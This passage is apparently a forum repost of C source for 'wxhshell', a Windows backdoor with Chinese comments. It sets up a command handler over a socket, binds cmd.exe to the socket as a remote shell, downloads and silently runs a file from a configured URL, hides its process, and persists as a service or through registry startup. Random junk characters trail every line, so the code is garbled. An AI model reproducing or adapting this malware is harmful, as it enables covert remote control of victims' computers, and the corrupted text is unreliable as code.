  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fnwtD *``  
  } MyAi)Mz~o  
  else { X >C*(/a  
*N<~"D  
    switch(cmd[0]) { X> =`{JS1  
  b=`h""u  
  // 帮助 05.^MU?^U  
  case '?': { (q"Nt_y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j:\MrYt0H  
    break; XeKIue@_  
  } pjWqI 6,  
  // 安装 F3i+t+Jt  
  case 'i': { `(.K|l}  
    if(Install()) K1]H~'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PW~+=,  
    else 9v8{JaI3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +r"{$'{^  
    break; z*"zXL C  
    } yk,o*g  
  // 卸载 f3[gA Y  
  case 'r': { a4Fe MCvV9  
    if(Uninstall()) >/Gz*.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YJ3aJ^m#E  
    else LaG./+IP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n GZZCsf <  
    break; JUt 7  
    } Ux2(Oph  
  // 显示 wxhshell 所在路径 esIE i!d  
  case 'p': { d dkh*[  
    char svExeFile[MAX_PATH]; (i^{\zv  
    strcpy(svExeFile,"\n\r"); 2Xys;Dwx  
      strcat(svExeFile,ExeFile); uckag/tv  
        send(wsh,svExeFile,strlen(svExeFile),0); NiQ`,Q$B  
    break; ~k'KS 7c  
    } & gnE"  
  // 重启 `lX |yy"  
  case 'b': { XXBN Nr_CK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y!N *J  
    if(Boot(REBOOT)) wt0^R<28  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <C`qJP-  
    else { e)]9u$x  
    closesocket(wsh); g"Mqh!{ FI  
    ExitThread(0); $!)Sgb  
    } !o1{. V9q  
    break; $1y8gm  
    } [p^N].K$  
  // 关机 [DpGL/Y.  
  case 'd': { kclClB:PS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :8\!;!  
    if(Boot(SHUTDOWN)) 9JYrP6I!_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0*^ J;QGE  
    else { |WqEJ*$,  
    closesocket(wsh); |\;oFuCv##  
    ExitThread(0); ofH=h  
    } (C>FM8$J  
    break; 5N<f\W,  
    } ^}7iouE C  
  // 获取shell l$N b1&  
  case 's': { a$H*C(wL  
    CmdShell(wsh); qDHiyg^u  
    closesocket(wsh); o8Vtxnkg  
    ExitThread(0); x(pq!+~K  
    break; K =T]@ix$  
  } H'7AIY }  
  // 退出 zea=vx>`  
  case 'x': { tl9=u-D13@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NsDJ q{  
    CloseIt(wsh); XN65bq  
    break; GPlAQk  
    } l}odW  
  // 离开 o (fZZ`6Y  
  case 'q': { wgfy; #  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9QE|p  
    closesocket(wsh); X{KWBk.1  
    WSACleanup(); y Nb&;E7 H  
    exit(1); Pl^-]~  
    break; Q-;ltJ  
        } b*$/(2"m  
  } oEPO0O  
  } U7O]g'BP  
s 33< }O0  
  // 提示信息 D~_|`D5WK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BkfWZ O{7  
} /LMb~Hy,  
  } 3&i8C,u]/O  
+9Z RCmV  
  return; L-ans2?  
} nsR^TD;  
X&qRanOP;z  
// shell模块句柄 lsmzy_gV7  
int CmdShell(SOCKET sock) QYDTb=h~  
{ [XFZ2'OO  
STARTUPINFO si; _Y F~DU  
ZeroMemory(&si,sizeof(si)); &We1i &w  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J]uYXsC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "o#N6Qu71  
PROCESS_INFORMATION ProcessInfo; =w &%29BYq  
char cmdline[]="cmd"; _i [.5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d5<@WI:wz  
  return 0; xTQV?g J  
} +kCVi  
6S?a57;&W  
// 自身启动模式 Yh/-6wg  
int StartFromService(void)  |u 8hxa  
{ y$@d%U*rW^  
typedef struct -eAo3  
{ 2,|*KN*e`W  
  DWORD ExitStatus; Yjz'lWg  
  DWORD PebBaseAddress; AfvTStwr  
  DWORD AffinityMask; ;aYPv8s~,:  
  DWORD BasePriority; ^EU& 6M2  
  ULONG UniqueProcessId; @ [_I|  
  ULONG InheritedFromUniqueProcessId; ^5vFF@to  
}   PROCESS_BASIC_INFORMATION; CaNZScnZ  
|E @Gsw  
PROCNTQSIP NtQueryInformationProcess; Z4'"*  
EK. L>3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /:dVW" A|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X?$Eb  
bTC2Ya  
  HANDLE             hProcess; IBl}.o&]B#  
  PROCESS_BASIC_INFORMATION pbi; q|2{W.P5qi  
#V-qS/ q"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RLY Ae  
  if(NULL == hInst ) return 0; xMg&>}5  
{neE(0c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "%ag^v9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z2t;!]"'l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :YjOv  
GSV,  
  if (!NtQueryInformationProcess) return 0; [$?S9)Xd  
3hR7 . /  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,: w~-   
  if(!hProcess) return 0; mquna"}N  
(d993~|h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6f 6_ztTL  
$Z 10Zf=  
  CloseHandle(hProcess); KtY~Y  
[OG-ZcNu?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &.kg8|s{  
if(hProcess==NULL) return 0; vJ GxD\h  
 9 N=KU  
HMODULE hMod; wO} 3i6  
char procName[255]; EBzg<-?o  
unsigned long cbNeeded; DWJ%r"aN  
~QBf78@Gf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _'n;rZ+  
U'-MMwE]  
  CloseHandle(hProcess); i )3Y\ u  
xx;'WL,g  
if(strstr(procName,"services")) return 1; // 以服务启动 !::k\}DS  
a}E8A DyC  
  return 0; // 注册表启动  +KFK..  
} (]1le|+  
yF0,}  
// 主模块 ec1g7w-n  
int StartWxhshell(LPSTR lpCmdLine) 8SAz,m!W)  
{ l$m^{6IYc  
  SOCKET wsl; 6El%T]^  
BOOL val=TRUE; .E;6Xx_+r  
  int port=0; I4|p;\`fK  
  struct sockaddr_in door; " "a+Nc  
qwFn(pK[  
  if(wscfg.ws_autoins) Install(); A9l^S|r  
&KR@2~vE  
port=atoi(lpCmdLine); qWE"vI22M  
iT^lk'?{O  
if(port<=0) port=wscfg.ws_port; 3}twWnQZJ  
HwST^\Ao  
  WSADATA data; #i2q}/w5`C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ? !~au0  
H8\{ GGg  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u]dpA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *"zE,Bp"  
  door.sin_family = AF_INET; 8#Z$}?W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;4qalxzu  
  door.sin_port = htons(port); Q^39Wk@  
:He:Bdk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r1?LKoJOn  
closesocket(wsl); R:ar85F  
return 1; q"5 2-42  
} .!6ufaf$  
Yhsb$wu  
  if(listen(wsl,2) == INVALID_SOCKET) { UT{N ly8u  
closesocket(wsl); YYM  
return 1; T2(+HI2  
} J| DWT+$#Z  
  Wxhshell(wsl); ?1412Tq5  
  WSACleanup(); 6|jE3rHw  
Xif`gb6`  
return 0; F H%yyT  
SfR!q4b=  
} jgMWjM6.  
n&V(c&C  
// 以NT服务方式启动 rpXw 8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |ITg-t  
{ !EW]: u  
DWORD   status = 0; >C&!# 3  
  DWORD   specificError = 0xfffffff; eb8_guZ  
.ZJh-cd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }}xR?+4A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4Sl^cKb$7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~g,QwaA[  
  serviceStatus.dwWin32ExitCode     = 0; n&Tv]-  
  serviceStatus.dwServiceSpecificExitCode = 0; V('b|gsEo  
  serviceStatus.dwCheckPoint       = 0; pKJ[e@E^  
  serviceStatus.dwWaitHint       = 0; 0y1t%C075  
M<L<mP}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |JDJ{;o  
  if (hServiceStatusHandle==0) return; U!`'Qw;  
g ` {0I[  
status = GetLastError(); V,"'k<y  
  if (status!=NO_ERROR) lGz0K5P{  
{ H9Z3.F(2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -|T^  
    serviceStatus.dwCheckPoint       = 0; "LWp/  
    serviceStatus.dwWaitHint       = 0; d^Wh-U  
    serviceStatus.dwWin32ExitCode     = status; x?F{=\z/o  
    serviceStatus.dwServiceSpecificExitCode = specificError; lu}[XN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h=tY 5]8  
    return; *~"`&rM(  
  } ) jvkwC  
=1(BKk>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SM<kE<q#  
  serviceStatus.dwCheckPoint       = 0; {+EPE2X=C  
  serviceStatus.dwWaitHint       = 0; z~_\onC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !< )_ F  
}  %!S  
5a&w M  
// 处理NT服务事件,比如:启动、停止 g=(+oK?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :}z% N7T  
{ *LVM}| f  
switch(fdwControl) KWUz]>Z  
{ CvJm7c  
case SERVICE_CONTROL_STOP: mI0r,Z*+M  
  serviceStatus.dwWin32ExitCode = 0; kA_ 3o)J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; YMd&+J`  
  serviceStatus.dwCheckPoint   = 0; a< EC]-nw  
  serviceStatus.dwWaitHint     = 0; THp `!l  
  { e2fct|'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bM-Rj1#Lo  
  } 57>ne)51  
  return; abnd U,s  
case SERVICE_CONTROL_PAUSE: }}_uN-m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; = 1VH5pVr}  
  break; "Zk6B"o)  
case SERVICE_CONTROL_CONTINUE: (0Cszm.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; B>ZPn6?y  
  break; C":\L>Ax  
case SERVICE_CONTROL_INTERROGATE: r\d:fot  
  break; 8tMte!E  
}; }D+8K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z L</  
} o }A #-   
(do=o&9p m  
// 标准应用程序主函数 (Y)h+}n5N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DZRxp,  
{ :$aW@?zAY  
&|'6-wD.  
// 获取操作系统版本 Ba0D"2CgY  
OsIsNt=GetOsVer(); M[u3]dN  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =7fh1XnW  
_kN%6~+U  
  // 从命令行安装 |:+pPh!-  
  if(strpbrk(lpCmdLine,"iI")) Install(); PAV2w_X~  
5R`6zhf  
  // 下载执行文件 "v!HKnDT  
if(wscfg.ws_downexe) { X&.$/xaT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uk  f\*  
  WinExec(wscfg.ws_filenam,SW_HIDE); tQ JH'YV  
} Ko)T>8:  
YO$b#  
if(!OsIsNt) { Wmxw!   
// 如果时win9x,隐藏进程并且设置为注册表启动 YwWTv  
HideProc(); 8'"/gC{  
StartWxhshell(lpCmdLine); 8M+F!1-#  
} E)wT+\  
else j jT 2k  
  if(StartFromService()) BON""yIC   
  // 以服务方式启动 n UCk0:{  
  StartServiceCtrlDispatcher(DispatchTable); )^S^s >3  
else 5z w23!  
  // 普通方式启动 zMzf=~  
  StartWxhshell(lpCmdLine); @-@rG>y^:  
dzNaow*0&V  
return 0; R 4QwWSBJ  
}
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只看该作者 1 发表于: 2006-10-10
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